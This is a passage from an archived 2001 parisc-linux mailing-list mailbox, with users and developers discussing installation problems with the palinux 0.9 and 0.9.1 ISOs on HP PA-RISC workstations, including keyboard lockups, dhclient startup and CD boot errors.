> skb: pf=2 (unowned) dev=l0 len=328
> PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
> 
> This message is repeated severall times?

This is a problem with dhcp-client 2.x.  It installs /etc/init.d
scripts which start dhclient on boot.  It should not be started on
boot, as it is now invoked via /etc/network/inferfaces and ifup/ifdown.
I have just done some tests with dhcp-client 3.0beta2RC10-1, which
cures the problem.

Richard





From - Thu Nov 08 21:18:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux 0.9.1
Date: Mon, 09 Jul 2001 19:24:22 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <3B49E8C6.7D7CB3A0@esiee.fr>
References: <OFD4FFC380.1EA16BBB-ONC1256A84.0055A177@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620279 21854 80.91.229.3 (22 Nov 2014 01:37:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:59 +0000 (UTC)
Cc: rhirst@linuxcare.com, parisc-linux@lists.parisc-linux.org,
	puffin@esiee.net
To: =?iso-8859-1?Q?Jo=EBl?= Soete <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  9 11:35:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 428E2482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Jul 2001 11:35:32 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 0B646D15AA; Mon,  9 Jul 2001 19:35:30 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11546

Hi all,

	I am back from LSM. So, I uploaded the 0.9.1 iso, I hope. I tried on
B132 and it went fine.
So, just download it and try.
If you experienced some troubles with the keyboard, just try to unplug
and plug it back... It should work.
Also, when it asks you some path, just hit return...

My apaologies again for the delay, Thomas
ESIEE Team




From - Thu Nov 08 21:18:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <squawker@start.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux 0.9.1
Date: Mon, 9 Jul 2001 20:29:15 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <000f01c108a5$0f9825e0$0201a8c0@andy>
References: <OFE6582140.671FFFD5-ONC1256A81.00401A6F@LocalDomain> <20010709084633.C23509@linuxcare.com> <994679274.3b4999ea6d75d@epost.start.no> <20010709182016.L23509@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620279 21857 80.91.229.3 (22 Nov 2014 01:37:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:59 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>,
	"Richard Hirst" <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  9 12:25:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5007E482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Jul 2001 12:25:45 -0600 (MDT)
Original-Received: from andy (s01i30-0229.no.powertech.net [195.159.52.229])
	by smtp1.powertech.no (Postfix) with SMTP
	id C21FD43287; Mon,  9 Jul 2001 20:25:42 +0200 (CEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Xref: news.gmane.org gmane.linux.ports.parisc:11547

> On Mon, Jul 09, 2001 at 01:47:54PM +0200, Andy Walker wrote:
> > Quoting Richard Hirst <rhirst@linuxcare.com>:
> > > 
> > > You are not the only person with this problem, so
> > > hopefully someone will fix it soon.
> > > 
> > > Richard
> > 
> > Hi folks,
> > 
> > Just a note to say that I'm experiencing this too. I've
> > a B132L, 192MB, 2gb+4gb wide/diff disks. Firmware is
> > patched up to 6.1, the latest I could find. Boots nicely
> > now that I told it the console is on the built in frame
> > buffer GRAPHICS(0) rather than the HCRX24/GRAPHICS(2) -
> > but the ps/2 keyboard locks up at the first Debian
> > install screen.
> > 
> > Time for a serial install I guess.
> 
> I've just heard that this might be a keyboard reset problem, and
> simply unplugging and replugging the keyboard at that point may
> make it work.
> 
> Richard

I'm afraid not :-( Didn't work for me 5 minutes ago. I noticed
there's a WAX HIL device on these B models - pity there's no
connector for that 'cos I've got a HIL keyboard and mouse
laying around downstairs.

-Andy





From - Thu Nov 08 21:18:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux 0.9.1
Date: Mon, 9 Jul 2001 19:43:10 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <OF4AD5F437.F4915E3D-ONC1256A84.00613858@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620279 21859 80.91.229.3 (22 Nov 2014 01:37:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, puffin@esiee.net,
	rhirst@linuxcare.com
To: "Thomas Marteau <marteaut" <marteaut%esiee.fr%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  9 12:41:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id E87C8482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Jul 2001 12:41:06 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d54a5d1d8de@epirel991.europay.com>;
 Mon, 9 Jul 2001 20:40:46 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/09/2001 08:43:19 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11548

Hello Thomas,

Nice LSM?

I will just start download now and burn it tommorrow and let you inform.

Thanks for advise,
     Joel


                                                                           =
                                  =20
                    Thomas                                                 =
                                  =20
                    Marteau              To:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD                        =20
                    <marteaut@esi        cc:     rhirst@linuxcare.com@SMTP@=
EUROPAY,                          =20
                    ee.fr>               parisc-linux@lists.parisc-linux.or=
g@SMTP@EUROPAY,                   =20
                                         puffin@esiee.net@SMTP@EUROPAY     =
                                  =20
                    09-07-01             Subject:     Re: [parisc-linux] pa=
linux 0.9.1                       =20
                    07:24 PM                                               =
                                  =20
                                                                           =
                                  =20
                                                                           =
                                  =20



Hi all,

     I am back from LSM. So, I uploaded the 0.9.1 iso, I hope. I tried on
B132 and it went fine.
So, just download it and try.
If you experienced some troubles with the keyboard, just try to unplug
and plug it back... It should work.
Also, when it asks you some path, just hit return...

My apaologies again for the delay, Thomas
ESIEE Team





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation on B180L workstation.
Date: Mon, 09 Jul 2001 11:57:31 -0700
Organization: Hewlett Packard
Lines: 54
Approved: news@gmane.org
Message-ID: <3B49FE9A.CC4E7173@cup.hp.com>
References: <3B46452A.D15E2F4C@cup.hp.com> <20010709090053.D23509@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620280 21863 80.91.229.3 (22 Nov 2014 01:38:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  9 12:59:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DD19482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Jul 2001 12:59:42 -0600 (MDT)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel2.hp.com (Postfix) with ESMTP
	id 9B083E50; Mon,  9 Jul 2001 11:59:41 -0700 (PDT)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id LAA11298;
	Mon, 9 Jul 2001 11:59:41 -0700 (PDT)
Original-Sender: gururaj@cup.hp.com
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11549

Thanks a lot for responding.

Richard Hirst wrote:

> On Fri, Jul 06, 2001 at 04:09:30PM -0700, Gururaj Ananthateerta wrote:
> > I am trying to install on B180L.  I have an external CD ROM.
> >  Does installation supports this configuration. ? If not
> > how can i install?
>
> Should work, so far as I know.  Please can you give more information:
>
> What CD are you trying to install from? 0.9 ISO? 0.9.1 ISO?
> (0.9.1 ISO has some problems, I hope a fixed one will be posted
> soon).

0.9 ISO.

>
>
> Serial console or graphical console?

Serial Console.

>
>
> Does the system find the CDROM when you do a SEArch?

Yes, CD info is displayed during search. The CD ROM is a Toshiba make.

>
>
> What happens when you try the install, exactly?

Well, when I try to boot through the CD, I get the following message.
"Boot Device not Ready
  Retrying boot device...'
I am kinda doubting the way I burned the CD. I will ckech this. It
shouldn't be
that case.

>
>
> Richard
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

Guru





From - Thu Nov 08 21:18:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux 0.9.1
Date: Mon, 09 Jul 2001 21:10:27 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3B4A01A3.E002A925@esiee.fr>
References: <OF4AD5F437.F4915E3D-ONC1256A84.00613858@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620280 21864 80.91.229.3 (22 Nov 2014 01:38:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Jo=EBl?= Soete <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  9 13:21:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FDBA482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Jul 2001 13:21:37 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 91652D15D8; Mon,  9 Jul 2001 21:21:35 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11550

Hi Joel,

	If you are interested in Debian One: go there
http://people.debian.org/~rb/lsm/
			http://www.niksula.cs.hut.fi/~ateras/travel/debian_conference/

	For the LSM itself, you have the lsm.abul.org

But from our point of view, it was interesting to see how Debianer(d)s
are thinking of Debian and all... Also, we encountered a very warmful
audience on Thrusday morning ;-) Soon the text will be online...

Regards to all, Thomas
ESIEE Team




From - Thu Nov 08 21:18:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation on B180L workstation.
Date: Mon, 9 Jul 2001 20:20:37 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010709202037.V23509@linuxcare.com>
References: <3B46452A.D15E2F4C@cup.hp.com> <20010709090053.D23509@linuxcare.com> <3B49FE9A.CC4E7173@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620280 21869 80.91.229.3 (22 Nov 2014 01:38:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  9 13:21:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F5B6482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Jul 2001 13:21:44 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2C7D9B00C; Mon,  9 Jul 2001 20:20:37 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B49FE9A.CC4E7173@cup.hp.com>; from gururaj@cup.hp.com on Mon, Jul 09, 2001 at 11:57:31AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11551

On Mon, Jul 09, 2001 at 11:57:31AM -0700, Gururaj Ananthateerta wrote:
> I am kinda doubting the way I burned the CD. I will ckech this. It
> shouldn't be
> that case.

It is an iso9660 CD, so you should be able to read it on other
systems, to check the CD itself looks ok.

Richard





From - Thu Nov 08 21:18:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation on B180L workstation.
Date: Mon, 09 Jul 2001 13:02:51 -0700
Organization: Hewlett Packard
Lines: 21
Approved: news@gmane.org
Message-ID: <3B4A0DEA.1BF2D121@cup.hp.com>
References: <3B46452A.D15E2F4C@cup.hp.com> <20010709090053.D23509@linuxcare.com> <3B49FE9A.CC4E7173@cup.hp.com> <20010709202037.V23509@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620281 21871 80.91.229.3 (22 Nov 2014 01:38:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  9 14:05:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0B02482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  9 Jul 2001 14:05:02 -0600 (MDT)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel2.hp.com (Postfix) with ESMTP
	id A6802291; Mon,  9 Jul 2001 13:05:01 -0700 (PDT)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id NAA13377;
	Mon, 9 Jul 2001 13:05:01 -0700 (PDT)
Original-Sender: gururaj@cup.hp.com
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11552

I checked it on another system.  The CD loks OK. I don't know what is the

problem.
Thanks
Guru

Richard Hirst wrote:

> On Mon, Jul 09, 2001 at 11:57:31AM -0700, Gururaj Ananthateerta wrote:
> > I am kinda doubting the way I burned the CD. I will ckech this. It
> > shouldn't be
> > that case.
>
> It is an iso9660 CD, so you should be able to read it on other
> systems, to check the CD itself looks ok.
>
> Richard





From - Thu Nov 08 21:18:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Install on a 715/75 (wont boot)
Date: Tue, 10 Jul 2001 02:45:59 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB192162681@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620281 21872 80.91.229.3 (22 Nov 2014 01:38:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 00:53:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mlbmx1.corp.harris.com (mlbmx1.corp.harris.com [137.237.90.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D023482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 00:53:44 -0600 (MDT)
Original-Received: by mlbmx1.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <31WSDN4N>; Tue, 10 Jul 2001 02:53:42 -0400
Return-Receipt-To: "Pedot, Wolfgang" <wpedot@harris.com>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11553

Hi,

I just dug out a 715/75 at work (64MB RAM, 2x1GB HD). Now I=B4ve =
cleaned it and
brought it to live I want to install Linux but the problem is neither =
0.9 nor
0.9.1 (downloaded yesterday) boots. I connected an external SCSI-CDRom =
(Toshiba
6401) and the 715 detects it and I can tell it to boot from this drive =
but I get
an IPL Checksum Error with 0.9 (tried with two CDs) and "Wrong IPL =
Magic" with
0.9.1. Both Images were downloaded and burned correctly as far as I can =
tell.
Now since this is my first experience with a PARISC-Machine I=B4m a =
little bit
helpless, any hints?

Wolfgang Pedot

PS: I=B4m also looking for some dokumentation for my machine since =
there is no
manual or anything available here...







From - Thu Nov 08 21:18:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux 0.9.1
Date: Tue, 10 Jul 2001 12:28:35 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <OFEBC15B13.BB2830D5-ONC1256A85.00383B3A@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620281 21874 80.91.229.3 (22 Nov 2014 01:38:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, puffin@esiee.net,
	rhirst@linuxcare.com
To: "Thomas Marteau <marteaut" <marteaut%esiee.fr%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 04:26:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F4B2482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 04:26:55 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d54a933c051@epirel991.europay.com>;
 Tue, 10 Jul 2001 12:26:33 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 07/10/2001 12:29:08 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11554

Hi Thomas,

It would effectively be interesting LSM (Debian OpenBsd, HURD, ...)

Come back to last CD 0.9.1. The install works well on 712 and B180 (Nice)

Just to mention some details:
a common problen is the startup of dhcpclient (as I have not dhcp server, I
did not choose dhcp at install time and its statup disturb a little bit the
install) but nothing critical

a problem specific to the B180 (the idea comes from Richard Hirst): after
booting on the CD no answer from the keyboard?
workaround: at this moment (while the sysytem is runing) just un-plug,
re-plug the keyboard and it answer correctly (as Richard I suspect a
specific problem of initialisation of the keyboard?)

Thanks and congratulation for this nice job,
     Joel



                                                                           =
                                  =20
                    Thomas                                                 =
                                  =20
                    Marteau              To:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD                        =20
                    <marteaut@esi        cc:     rhirst@linuxcare.com@SMTP@=
EUROPAY,                          =20
                    ee.fr>               parisc-linux@lists.parisc-linux.or=
g@SMTP@EUROPAY,                   =20
                                         puffin@esiee.net@SMTP@EUROPAY     =
                                  =20
                    09-07-01             Subject:     Re: [parisc-linux] pa=
linux 0.9.1                       =20
                    07:24 PM                                               =
                                  =20
                                                                           =
                                  =20
                                                                           =
                                  =20



Hi all,

     I am back from LSM. So, I uploaded the 0.9.1 iso, I hope. I tried on
B132 and it went fine.
So, just download it and try.
If you experienced some troubles with the keyboard, just try to unplug
and plug it back... It should work.
Also, when it asks you some path, just hit return...

My apaologies again for the delay, Thomas
ESIEE Team





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 'Richard Hirst' <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux
Date: Tue, 10 Jul 2001 14:04:23 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20010710140423.A23509@linuxcare.com>
References: <41E365428D7DD21192B700104BB0EA3D01526E25@nttue01.tue.integrata.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620282 21906 80.91.229.3 (22 Nov 2014 01:38:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joachim Kress <jkress@unilog.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 07:05:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68D31482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 07:05:36 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id EB8F9B00C; Tue, 10 Jul 2001 14:04:23 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <41E365428D7DD21192B700104BB0EA3D01526E25@nttue01.tue.integrata.de>; from jkress@unilog.de on Tue, Jul 10, 2001 at 08:26:45AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11555

On Tue, Jul 10, 2001 at 08:26:45AM +0200, Joachim Kress wrote:
> Hi,
> 
> on my ISO-CD, i have a directory named "dist"
> and some Files named:
> 
> 
> 	- debian
> 	- iplboot
> 	- iso

iso.conf, I hope!

> 	- README
> 	- README-ISO
> 
> 
> the CD is bootable but the HP9000 / 712 Workstation
> cannot boot with this CD !
> 
> I hope this are enough informations for You !

What happens when you try to boot from the CD?  What messages
are displayed?


Richard




From - Thu Nov 08 21:18:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Install on a 715/75 (wont boot)
Date: Tue, 10 Jul 2001 14:10:16 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20010710141016.B23509@linuxcare.com>
References: <8D4C69676E66D511A1CB00508BBBB192162681@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620282 21909 80.91.229.3 (22 Nov 2014 01:38:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Pedot, Wolfgang" <wpedot@harris.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 10 07:11:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id A35B0482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 10 Jul 2001 07:11:29 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2158BB00C; Tue, 10 Jul 2001 14:10:16 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <8D4C69676E66D511A1CB00508BBBB192162681@ranmx1.ran.harris.com>; from wpedot@harris.com on Tue, Jul 10, 2001 at 02:45:59AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11556

On Tue, Jul 10, 2001 at 02:45:59AM -0400, Pedot, Wolfgang wrote:
> Hi,
> 
> I just dug out a 715/75 at work (64MB RAM, 2x1GB HD). Now Ive cleaned it and
> brought it to live I want to install Linux but the problem is neither 0.9 nor
> 0.9.1 (downloaded yesterday) boots. I connected an external SCSI-CDRom (Toshiba
> 6401) and the 715 detects it and I can tell it to boot from this drive but I get
> an IPL Checksum Error with 0.9 (tried with two CDs) and "Wrong IPL Magic" with
> 0.9.1. Both Images were downloaded and burned correctly as far as I can tell.
> Now since this is my first experience with a PARISC-Machine Im a little bit
> helpless, any hints?

